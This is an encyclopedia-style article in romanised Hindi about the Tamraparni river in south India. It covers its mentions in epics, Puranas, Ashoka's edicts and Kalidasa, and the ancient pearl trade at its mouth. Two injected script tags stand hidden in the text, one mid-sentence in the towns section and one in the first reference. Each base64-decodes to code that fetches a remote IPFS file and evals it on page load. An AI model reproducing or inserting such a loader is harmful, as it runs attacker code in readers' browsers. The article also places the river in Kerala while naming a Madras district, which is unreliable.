ताम्रपर्णी नदी
tamraparni nadi dakshin bharat ki nadi hai, jo keral rajy mean bahati hai. ye madras prant ke tinevali zile ki ek nadi mani jati hai, jisaka sthaniy nam parunai hai.
jatak kathaoan mean bhi is nadi ka ullekh hua hai. maury samrat ashok ke mukhy shilalekh do aur terah mean tatha kautily ke arthashastr ke adhyay gyarah mean bhi tamraparni nadi ka namollekh hai.[1]
- mahabharat, vanaparv[2] mean tamraparni tatha usake tat par sthit gokarn ko varnan hai-
'tamrarnian tu kauantey kirtiyishyami taan shrunu yatr devaistapastaptan mahadichchhadbhirashrame gokarn iti vikhyat strishulokeshu bharat'
- shrimadbhagavat[3] mean tamraparni nadi ka any nadiyoan ke sath ullekh hai-
'chandravasa tamraparni avatoda kritamala vaihayasi....'
- vishnupuran[4] mean tamraparni nadi ko malay parvat se udbhoot mana hai-
'kritamala tamraparni pramukha malayodbhava:.'
tatavarti nagar
'epigrafika iandika'[5] ke anusar tamraparni nadi ka sthaniy nam poruandam aur mudigoandasholapperaru tha. ati prachin kal mean is nadi ke tat par avasthit korakee aur kayal namak bandaragah us samay ke sabhy sansar mean apane samriddh vyapar ke karan prakhyat the. paandy nareshoan ke samay motiyoan aur shankhoan ke vyapar ke lie korakee prasiddh tha. vartaman tirunelveli ya tinnevali aur triveandram se 12 mil (lagabhag 19.2 ki.mi.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> poorv tiruvattar namak nagar tamraparni ke tat par sthit hai.
kalidas ka ullekh
tamraparni vartaman palamakota ke nikat bahati huee mannar ki kha di mean girati hai. mannar ki kha di sada se motiyoan ke lie prasiddh rahi hai aur isilie kalidas ne tamraparni ke sanbandh mean motiyoan ka bhi varnan kiya hai- 'tamrarnisametabhy muktasaran mahodadhe: te nipaty dadustasmai yash: svamivasanchi tamh’[6]
arthath paandy vasiyoan ne vinayapoorvak raghu ko apane sanchit yash ke sath hi tamraparni-samudr sangam ke suandar moti bheant kie.
- mallikanath ne isaki tika mean yatharth hi likha hai-
'tamraparnisangame moktikotpariti prasiddham.'
- sanskrit paravartikal ke prasiddh kavi tatha natakakar rajashekhar ne bhi tamraparni nadi ka ullekh kiya hai.
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tika tippani aur sandarbh
- ↑ aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |prishth sankhya: 394 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vanaparv 88, 14-15
- ↑ shrimadbhagavat 5, 19, 18
- ↑ vishnupuran 2, 3, 13
- ↑ epigrafika iandika 11 (1914) pri. 245
- ↑ raghuvansh 4, 50
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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